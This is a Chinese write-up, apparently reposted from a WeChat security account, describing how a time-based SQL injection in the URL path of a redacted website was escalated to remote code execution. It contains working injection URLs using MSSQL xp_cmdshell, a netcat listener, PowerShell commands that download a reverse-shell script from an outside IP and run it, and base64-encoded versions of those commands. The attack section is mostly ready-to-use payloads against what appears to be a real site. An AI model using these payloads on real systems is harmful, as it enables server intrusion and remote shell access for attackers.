0x00 概括
不久前,我和我的朋友@Rakai、@Ardya Suryadinata、@hernowoadin偶然发现了一个有趣的漏洞并进行讨论,即网站URL路径上的SQL注入,我们称之为redacted.com。
0x01 Burpsuite扫描结果
在问题详细信息中,Burpsuite使用了以下基于时间的SQL注入payload,应用程序响应时间为20074毫秒(20 秒),与仅花费2327毫秒(2 秒)的原始请求显着不同,这强烈表明Web容易受到基于时间的SQL注入的攻击。
waitfor delay'0:0:20' ---> Respons : 20073 milisecond (20 second)
original request ---> 2327 milisecond (2 second)
0x02 SQLMap(由于WAF而无法工作)
0x03 使用XP_CMDSHELL
xp_cmdshell -> 生成一个 Windows 命令 shell 并传入一个字符串以供执行。任何输出都以文本行的形式返回。 (来源:learn.microsoft.com)
xp_cmdshell是Microsoft SQL Server中的一个命令,用于在服务器上执行命令。默认情况下,此功能处于禁用状态。
Payload:
EXEC xp_cmdshell 'ping 165.1.2.123';--
Injection URL :
https://redacted.com/download/123/123 EXEC xp_cmdshell 'ping%20165.1.2.123';--
URL Decoded :
https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'ping%20165.1.2.123'%3b--
tcpdump -i eth0 -icmp
0x04 使用真实IP绕过WAF
在Windows上,它通常位于
C:/Windows/System32/drivers/etc/hosts
0x05 传递shell.ps1时的障碍
下一步,我们尝试利用此SQL注入来获取反向shell。首先,我们准备了一个PowerShell文件(.ps1),它将执行命令来建立与侦听器(反向 shell)的连接。
我们使用从powershell-reverse-shell.ps1获得的shell.ps1,如下所示:
https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1
nc -nlvp 4447
powershell.exe -c iwr -Uri "http://165.1.2.123/shell.ps1"
在这个问题上苦苦挣扎了一段时间但仍未找到成功的解决方案后,我们尝试了多种方法。例如,我们尝试将shell.ps1作为VPS Web服务器上的索引,因此我们不需要斜杠 (/) 来下载它。但是,这种方法失败了,因为将其保存在服务器上的可写位置仍然需要斜杠(在 C:/Windows/TEMP/ 中)。我们还尝试了各种其他方法。
最终,在休息了一段时间后,Biidznillah,我想起了在准备OSCP考试的实验室练习中学到的东西。是的,我们可以以编码形式执行PowerShell命令。
0x06 Powershell编码命令
我们可以使用 powershell -e 选项以编码形式在PowerShell中运行命令。Powershell编码器可以通过以下链接访问:
https://raw.githubusercontent.com/Javelinblog/PowerShell-Encoded-Commands-Tool/main/PowerShell.html
# Execute a remote script
"IEX(New-Object System.Net.WebClient).DownloadString('http://165.1.2.123/shell.ps1')
因此,我们将命令分为两部分:
-
1.下载shell.ps1并将其保存到可写路径,在Windows上为 C:/Windows/TEMP/ -
2.执行命令运行shell.ps1
所以,我们执行的最终Payload如下:
##Download shell and saved to TEMP
iwr -Uri "http://165.1.2.123/shell.ps1" -OutFile "$env:TEMPshell.ps1";
## Execute the shell
iex "$env:TEMPshell.ps1"
-
iwr:这是PowerShell中Invoke-WebRequest cmdlet的简写别名。它用于向Web服务器发送HTTP和HTTPS请求并下载内容。 -
-Uri “http://165.1.2.123/shell.ps1”:指定要下载的资源的统一资源标识符 (URI)。在本例中,它是位于指定URL的PowerShell脚本。 -
-OutFile “$env:TEMPshell.ps1”:指定下载内容的保存路径。 -
$env:TEMP是Windows中的一个环境变量,指向当前用户的临时目录。下载的脚本将以文件名shell.ps1保存在该目录中。
-
iex:这是PowerShell中Invoke-Expression cmdlet的简写别名。它用于运行存储在变量或字符串中的PowerShell命令或脚本。
-
“$env:TEMPshell.ps1”:这引用了存储在临时目录($env:TEMP)中的先前下载的PowerShell脚本的路径。它指定脚本文件shell.ps1的位置。
然后我们使用PowerShell EncodedCommand工具对命令进行编码。
# Download shell
EXEC xp_cmdshell 'powershell -e aQB3AHIAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANgA1AC4AMQAuADIALgAxADIAMwAvAHMAaABlAGwAbAAuAHAAcwAxACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA7AA==';--
# Execute shell
EXEC xp_cmdshell 'powershell -e aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA=';--
https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'powershell.exe%20-e%20aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA='%3b--
文章来源:潇湘信安
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):将基于时间的SQL注入升级为RCE
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论